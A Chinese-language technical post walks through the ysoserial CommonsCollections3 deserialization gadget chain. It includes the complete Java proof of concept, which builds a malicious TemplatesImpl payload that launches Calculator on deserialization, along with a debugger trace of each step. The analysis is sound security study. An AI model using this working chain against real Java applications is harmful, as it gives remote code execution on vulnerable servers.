Ysoserial Commons Collections3分析
Ysoserial Commons Collections3分析
写在前面
CommonsCollections Gadget Chains | CommonsCollection Version | JDK Version |
---|---|---|
CommonsCollections1 | CommonsCollections 3.1 - 3.2.1 | 1.7 (8u71之后已修复不可利用) |
CommonsCollections2 | CommonsCollections 4.0 | 无限制 |
CommonsCollections3 | CommonsCollections 3.1 - 3.2.1 | 1.7 (8u71之后已修复不可利用) |
同时javassist版本最好也要与yso中的版本一致,高版本的javassist也会抛出异常,建议JDK7u21+javassist:3.12.0.GA
前置知识
简单lou了一眼,这条链是cc1和cc2的结合版本,基本都是之前分析过的内容,但是考虑到cc1部分已经隔了很久了有些东西遗忘了,还是重新回顾下,温故而知新。
CtClass.makeClassInitializer().setBody()
在该Ctclass对象内设置一段静态代码块 ,创建一个静态代码块。
下面代码将静态代码块内容设置为弹calc,可参考之前cc2分析文章的方法,生成.class
文件来看看文件内容。
ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");");
ConstantTransformer
注释:Transformer implementation that returns the same constant each time.
在该类开头的注释作者已经写的很明白了,主要用作每次返回相同constant的Transformer
观察源码, 在创建实例化对象时将传入的参数Object constantToReturn
赋值给属性iConstant
并在调用transform()或getConstant()方法时返回iConstant
的值
ChainedTransformer
注释:Transformer implementation that chains the specified transformers together.
这个类中核心方法为重写的transform方法。该方法会对传入的可迭代参数进行遍历,并依次调用可迭代对象中每个元素的transform方法且上一次调用的transform方法返回值会作为下一个元素调用transfrom方法的参数
TemplatesImpl
在这个类中主要需要注意3个方法defineTransletClasses()
、getTransletInstance()
、newTransformer()
利用思路大致为:预先通过反射将恶意类的bytes数组赋值给该类的属性_bytecodes
,之后以newTransformer()
作为入口点,调用getTransletInstance()
方法,进而调用defineTransletClasses()
方法(需要在之前的if判断中_name
不为null) 通过ClassLoader#defineClass()
加载_bytecodes
,且通过判断_bytecodes
代表的类的父类是否为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
将_transletIndex
属性重新赋值为0,最后回到newTransformer()
方法中实例化恶意类进而触发静态代码块中的代码执行。
private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new Hashtable();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
/**
* This method generates an instance of the translet class that is
* wrapped inside this Template. The translet instance will later
* be wrapped inside a Transformer object.
*/
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
/**
* Implements JAXP's Templates.newTransformer()
*
* @throws TransformerConfigurationException
*/
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
动态代理与LazyMap.get()
动态代理
一般创建动态代理时会用到java.lang.reflect.Proxy
类,和java.lang.reflect.InvocationHandler
接口。
主要通过Proxy.newProxyInstance
方法创建代理对象
public static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h)
throws IllegalArgumentException {
...
}
Proxy.newProxyInstance()会返回一个代理对象
该方法有三个参数
1、类加载器:真实对象.getClass().getClassLoader()
2、实现的接口:真实对象.getClass().getInterfaces()
3、处理器:new InvocationHandler()
InvocationHandler
其中处理器也即处理程序一般为InvocationHandler
,该接口只有一个invoke
方法用作调用代理类中的方法,在创建代理类时需要重写该方法。
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("代理方法执行了");
}
参数:
1、proxy 代理对象
2、method:代理对象调用的方法,会被封装成Method类的method对象传入invoke方法中
3、args:代理对象调用方法时,传递到该方法内的实际参数
而在cc1中InvocationHandler的实现类AnnotationInvocationHandler类的invoke方法会调用LazyMap.get()
动态代理有一个最重要的特点即:在与方法关联的代理实例上调用方法时,将在调用处理程序上调用invoke方法
AnnotationInvocationHandler
这里有必要提一下AnnotationInvocationHandler类
AnnotationInvocationHandler实现了InvocationHandler接口,并且重写了readObject方法,而在readObject方法会调用entrySet方法进而触发动态代理机制调用invoke方法进而调用LazyMap.get()
LazyMap.get()
LazyMap继承了抽象类AbstractMapDecorator,LazyMap类的构造方法也被protected修饰,不可以直接new,需要调用decorate方法来生成LazyMap的实例化对象。而在LazyMap的get方法中会调用transform方法
InstantiateTransformer
该类中有两个属性iParamTypes
和iArgs
,在调用有参构造的时候会将传入的数组分别赋值给这两个属性。
该类的transform方法会通过反射实例化一个对象出来
TrAXFilter
新出现的一个类,观察源码,有参构造会调用传入Templates类型参数的newTransformer方法
PoC分析
poc
package cc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class cc3 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IOException, IllegalAccessException, InvocationTargetException, InstantiationException, NotFoundException, CannotCompileException, NoSuchFieldException {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections333333333");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");");
byte[] bytes=payload.toBytecode();
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});
Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl,"test");
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map map=new HashMap();
Map lazyMap= LazyMap.decorate(map,chainedTransformer);
Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
Object object=constructor.newInstance(Override.class,map1);
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(object);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
inputStream.close();
}
}
还是先拆开分析poc再整体调反序列化部分。
第一部分
首先是定义了两个String类型的AbstractTranslet
和TemplatesImpl
,之后通过javassist写了个恶意类,类名为CommonsCollections333333333
,设置父类为AbstractTranslet,并将弹计算器的payload写入该类静态代码块;之后将该类转换为byte数组,通过反射将TemplatesImpl
的属性_bytecodes
赋值为恶意类经转换后的byte数组;继续通过反射将TemplatesImpl
的属性赋值为test(只要不为null即可)
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet); //设置父类为AbstractTranslet
CtClass payload=classPool.makeClass("CommonsCollections333333333");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");");
byte[] bytes=payload.toBytecode();
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});
Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl,"test");
第二部分
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map map=new HashMap();
Map lazyMap= LazyMap.decorate(map,chainedTransformer);
Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
Object object=constructor.newInstance(Override.class,map1);
定义了数组transformers
,该数组第一个元素为new ConstantTransformer(TrAXFilter.class)
走ConstantTransformer的有参构造会将ConstantTransformer的属性iConstant赋值为TrAXFilter的class对象;该数组第二个元素为new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
将InstantiateTransformer类的属性iParamTypes
和iArgs
分别赋值为new Class[]{Templates.class}
,new Object[]{templatesImpl}
之后将该数组赋值给了ChainedTransformer chainedTransformer
并作为LazyMap.decorate()方法的参数创建LazyMap对象;之后通过反射拿到AnnotationInvocationHandler类的构造方法并将LazyMap对象作为构造方法参数创建动态代理时需要的处理器invocationHandler;之后创建动态代理LazyMap的代理类map1并作为参数通过AnnotationInvocationHandler类的构造方法获得AnnotationInvocationHandler的实例化对象object。
最后把object序列化再反序列化即会触发poc。
下面调试一遍跟一下
调试分析
在AnnotationInvocationHandler中readObject下断点,debug
跟进到entrySet,此时memberValues为被代理的LazyMap对象(上面传入的map1)所以根据动态代理的机制会调用动态代理中处理器的invoke方法,在invoke处也下个断点,F9跟一下
调用了LazyMap的get方法,此时factory为ChainedTransformer对象,这里调用了ChainedTransformer对象的transform方法,继续跟进
进入ChainedTransformer的transform方法,第一个元素是ConstantTransformer对象,先调用其transform方法,ConstantTransformer的transform方法会返回iConstant
,而我们在构造poc时new的transformers数组中第一个元素new ConstantTransformer(TrAXFilter.class)
在new的时候已经将iConstant
赋值为TrAXFilter
的class对象,也是这里第一次返回的object
在第二次循环时,将第一次的object作为InstantiateTransformer#transform方法的参数,该方法通过反射先拿到input参数(也就是我们传入的object即为TrAXFilter对象)的构造方法
在TrAXFilter的构造方法中调用了TemplatesImpl的neTransformer方法,继续跟进
调用了getTransletInstance()方法
因为我们构造poc时反射设置了_name
的值为test,跳过第一个if,走进第二个if中的defineTransletClasses()方法
在defineTransletClasses()方法中通过ClassLoader#defineClass()加载恶意类的byte数组,之后将_transletIndex
属性赋值为0
后续跳回getTransletInstance()方法实例化该恶意类触发静态代码块中代码执行
Gadget Chain
AnnotationInvocationHandler#readobject
(proxy)lazyMap#entrySet
AnnotationInvocationHandler#invoke
lazyMap#get
ChainedTransformer#transform
ConstantTransformer#transform
InstantiateTransformer#transform
TrAXFilter(构造方法)
TemplatesImpl#newTransformer
TemplatesImpl#getTransletInstance
TemplatesImpl#defineTransletClasses
恶意类.newInstance()
Runtime.exec()
End
CC3这条链应该算是CC1和CC2的结合体了,反序列化触发点为AnnotationInvocationHandler#readobject之后到
ChainedTransformer构造这里比较有意思,是通过InstantiateTransformer类,利用该类中transform方法会通过反射获取构造方法,结合TrAXFilter类的构造方法刚好可以调用TemplatesImpl#newTransformer来进入CC2部分到达任意代码执行。
Ysoserial Commons Collections3分析的更多相关文章
- Java安全之Commons Collections3分析
Java安全之Commons Collections3分析 文章首发:Java安全之Commons Collections3分析 0x00 前言 在学习完成前面的CC1链和CC2链后,其实再来看CC3 ...
- Ysoserial Commons Collections2分析
Ysoserial Commons Collections2分析 About Commons Collections2 CC2与CC1不同在于CC2用的是Commons Collections4.0; ...
- Ysoserial Commons Collections7分析
Ysoserial Commons Collections7分析 写在前面 CommonsCollections Gadget Chains CommonsCollection Version JDK ...
- ysoserial Commons Collections3反序列化研究
0x00 前言 在ysoserial中,官方是没给gadget,这儿经过文章分析我认为的gadget,继承自AbstractTranslate的类被Javassist插桩后返回一个被修改过的templ ...
- Java安全之Commons Collections5分析
Java安全之Commons Collections5分析 文章首发:Java安全之Commons Collections5分析 0x00 前言 在后面的几条CC链中,如果和前面的链构造都是基本一样的 ...
- Java安全之Commons Collections7分析
Java安全之Commons Collections7分析 0x00 前言 本文讲解的该链是原生ysoserial中的最后一条CC链,但是实际上并不是的.在后来随着后面各位大佬们挖掘利用链,CC8,9 ...
- Java安全之Commons Collections6分析
Java安全之Commons Collections6分析 0x00 前言 其实在分析的几条链中都大致相同,都是基于前面一些链的变形,在本文的CC6链中,就和前面的有点小小的区别.在CC6链中也和CC ...
- Java安全之Commons Collections1分析(二)
Java安全之Commons Collections1分析(二) 0x00 前言 续上篇文,继续调试cc链.在上篇文章调试的cc链其实并不是一个完整的链.只是使用了几个方法的的互相调用弹出一个计算器. ...
- Java安全之Commons Collections1分析(一)
Java安全之Commons Collections1分析(一) 0x00 前言 在CC链中,其实具体执行过程还是比较复杂的.建议调试前先将一些前置知识的基础给看一遍. Java安全之Commons ...
随机推荐
- Web安全-CDN相关技术
CDN介绍 CDN的全称是Content Delivery Network,即内容分发网络.CDN是构建在现有网络基础之上的智能虚拟网络,依靠部署在各地的边缘服务器,通过中心平台的负载均衡.内容分发. ...
- Spring Data JPA:解析JpaSpecificationExecutor & Specification
源码 在前面关于SimpleJpaRepository的文章[地址]中可以得知,SimpleJpaRepository间接实现了JpaSpecificationExecutor接口,本文就详细探究一下 ...
- HCNP Routing&Switching之OSPF虚连接
前文我们了解了OSPF的网络类型.帧中继交换机映射以及路由器帧中继映射相关话题,回顾请参考https://www.cnblogs.com/qiuhom-1874/p/15195762.html:今天我 ...
- 快速排序(C++)
快速排序 快速排序是面试中经常问到的排序算法 基本思想:通过一趟排序将待排序记录分割成独立的两部分,其中一部分记录的关键字均比另一部分记录的关键字小, 则可分别对这两部分记录继续进行排序,以达到整个序 ...
- Qt5-调试器安装
这周末正好有空,我好好研究了下如何给Qt安装调试器.我们在windows下一般安装两种Qt版本,一种是基于Visual Stuido编译器的(MSVC),另一种是基于g++的MinGW.使用后者一般调 ...
- vue+Element-ui 的 el-cascader 做高德地图的省市区三级联动并且是异步加载,点击省市区跳转到对应的区(地图可以通过后端返回的点进行标点)
// 完整版高德地图,可以复制代码直接使用 index.html <script type="text/javascript" src="https://webap ...
- react + layui 坑总结
与react 结合的时候,layui 是纯dom操作,而react是虚拟dom ,二者的结合难免会出现诸多问题. 1 select 下拉框 默认值的修改要通过defaultValue 属性来修改,并且 ...
- shell条件语句if
1.单分支语句 if [ ];then 命令 fi if [ ] then 命令 fi 2.双分支语句 if [ ] then echo cmd1 else echo cmd2 fi 3.多分支语句 ...
- 专项测试-App性能分析
专项测试 app性能 Activity是Android组件中最基本也是最为常见用的四大组件(Activity,Service服务,Content Provider内容提供者,BroadcastRece ...
- 解决FTPClient下载网络文件线程挂起问题
今天在windows上调试FTP下载文件时,出险线程假死,代码如下: if (inputStream != null) { byte[] data = null; ByteArrayOutputStr ...